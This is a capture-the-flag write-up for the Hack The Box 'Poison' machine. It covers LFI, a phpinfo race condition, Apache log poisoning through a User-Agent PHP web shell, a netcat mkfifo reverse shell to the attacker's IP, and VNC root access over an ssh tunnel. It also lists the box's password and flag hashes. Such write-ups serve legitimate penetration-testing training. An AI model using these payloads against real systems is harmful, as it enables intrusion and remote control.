- nmap
- http
- foothold 1 backuppasswd.txt
- foothold 2: phpinfo.php race condition
- foothold 3: Log Poisoning
- priv esc
- user/root
- lessons learned
poison
nmap
nmap -sV -sC -oA poison --stylesheet nmap-bootstrap.xsl 10.10.10.84
all ports
no alternative ports were found open
http
gobuster
ini.php
dead ends
info.php
FreeBSD is the service being used running the server
phpinfo
listedfiles.php
we see in this directory that there is a listing that gobuster didn't pick up called pwdbackup.txt
foothold 1 backuppasswd.txt
listedfiles.txt leaks an unknown directory pwdbackup.txt that gives an encoded string with a message
base64_decode.py
if you aren't famililar with python then its fine, you can plug this string into a base64 decoder 16 times manually to get the password as well
running our python script we see the password decoded 13 times gives us Charix!2#4%6&8(0 which is a keyboard crawl following the name charix, indicating a potential user on the box
scriptname = /etc/passwd
The scriptname box is vulnerable to a LFI vulnerability, by typing /etc/passwd into the Scriptname field leaks its contents
from the output we see there is a user names charix, lets try his username with our base64 decoded password Charix!2#4%6&8(0
ssh charix
sshing into charix with our Charix!2#4%6&8(0 password lands us our foothold!
foothold 2: phpinfo.php race condition
with file upload on, php is going to accept any files that get uploaded to it, it will put it into a directory
race condition concept w/ burp
first lets capture a packet request to phpinfo.php on burp
swap get request to a post request
swap the packet content-type: from
to multipart/form-data; boundary=--RaceCondition
and
----RaceCondition
Content-Disposition:form-data; name="anything"; filename="st0ve"
Content-Type: text/plain
<?Know I am St0ve ?>
----RaceCondition
phpinfo.php php variables
we see that our phpinfo.php page adds a new variablebefore:
After:
we can see our file is created
so in summary, so the exploit makes a request as large as possible so the page can take php a few extra miliseconds processing it, and while it hits this page to upload this file,
1. hitting the phpinfo page
2. then hitting the LFI to call what the phpinfo page says (ie. reverse shell code)
3. before php page loads and deletes the file
payloadallthethings
phpinfolfi.py is what we want to use here
revshell.php
grab a php reverse shell from
or from pentestmonkey http://pentestmonkey.net/tools/web-shells/php-reverse-shell
phpinfolfi.py
copy the ENTIRE php-reverse-shell into the phpinfolfi payload
from
to
tweak REQ1
lastly we're going to swap the LFIREQ variable in phpinfolfi.pyfrom
to
/browse.php?file=%s where %s is a placeholder for filename
(we don't need to worry about the null byte (%00) its for previous versions of php
tweak tmp_name phpinfo output
running phpinfolfi.py we get an error stating
to debug this issue we'll need to send the program through burp suite locally
first thing to do is set up a listener in burp on port 80
and run the exploit locally
for every instance it appears
from
to
Srun
usage
set up a listener on port 1234
and we have our shell!
/var/log/httpd-access.log
here's what the freebsd access-log looks like after our phpinfolfi.py attack hits, the access logs with the ‘A’s is from our exploit flooding the server with useless buff data so it has time to run the backdoor before the server deletes it:
foothold 3: Log Poisoning
looking back at our curl request on the access.log file from earlier we see that there is a user-agent being displayed,
user-agent manipulation
lets see if we can ‘poison’ that user-agent variable into running some malicious code from our end,first thing to do is to intercept the packet we get from querying any page from the server
we can change the user agent to some arbitrary string or code and send it to repeater (Ctrl+r)
the response we get back is of no surprise but lets check the access log and see what happened
we see we have complete control over the user-agent variable field displayed in the freebsd httpd-access.log
user-agent php code execution
now something to note: if we see the php call on the log page then we know the code isn't passed to an evaluation on the server's end but if we dont see the php tags, we know we have code executionNote: be sure to wrap your echo statement in single-quotes, as double-quotes will trigger FreeBSD to attempt to escape them server-side, making it impossible to carry out this exploit without reverting the box or having write access to the log fiel
we have proof we have php code execution on the log page, now lets inject a php system call into the log file and see if we can get some RCE from it
Warning about using double-quotes
Warning, do NOT use double-quotes in the user-agent field, the FreeBSD server backend will try to ‘escape’ them and lead them with forward slashes / (single quotes are just fine)if you wrap that same user-agent field in php code, we'll see that the tags do not show up in the access log
now something to note: if we see the php call on the log page then we know the code isn't passed to an evaluation on the server's end but if we dont see the php tags, we know we have code execution
anddd we broke the page, the server breaks out of our double quotes and effectively breaks the access-log page, but is also proof that php code gets executed on the page!
unforunately the only way to fix the problem from here is to revert the box or gain root access to the box to edit the log file,
injecting php system call
keeping in mind not to break the log file with double quotes, lets swap the user-agent field with a standard php system call<?php system($_REQUEST['cmd']); ?>
now if we set our ‘cmd’ parameter to a command...
view-source:http://10.10.10.84/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log&cmd=uname%20-a
hostname & ls -la
more commands for PoC
reverse shell
we want to use the BSD reverse shell from pentest monkey to call back to our attack machine
however, the server does not like the 2>&1 redirect here so we'll emit that from the command to look like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i | nc 10.10.14.62 1234 >/tmp/f
call back to a listener on our machine and we have our shell!
priv esc
secret.zip exfiltration
Secure Copy Protocol [use Charix!2#4%6&8(0 for the password]scp charix@10.10.10.84:secret.zip .
cant read secret at the moment but we may be able to pass it along as a key for a login down the line
ps -aux
When we take a close look at the running processes, we notice that theres a verison of TigerVNC owned by root listening on port 5901:
VNC
root 529 0.0 0.8 23620 7644 v0- I 00:45 0:00.13 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
strange process being run on port 5901 with a VNCServer
VNC port 5901
since vncviewer isn't installed on poison,we have to tunnel one of our local ports to the vicim port using ssh port forwarding so we can run our own copy of vncviewer on our victim's VNC session
tunnel port 5901 through localhost
The victim machine does not allow us to use vncviewer on its machine, but we can use port forwarding to forward one of our local ports to our victim machine's ports and run our local binaries/scripts on it not installed on the victimLets test it out by first tunneling our localhost port to charix's ssh session
ssh -L <remote port>:localhost:5901 charix@10.10.10.84
vncviewer within tunneled localhost
we can now unzip and pass/Use Secret.zip from earlier as credentials to vnc into root:
root
Voila! we successfully vnc'd into the root's TightVNC session.
user/root
user: eaacdfb2d141b72a589233063604209c
root: 716d04b188419cf2bb99d891272361f5
lessons learned
Check out Rana Khalil's OSCP writeups and prep at https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/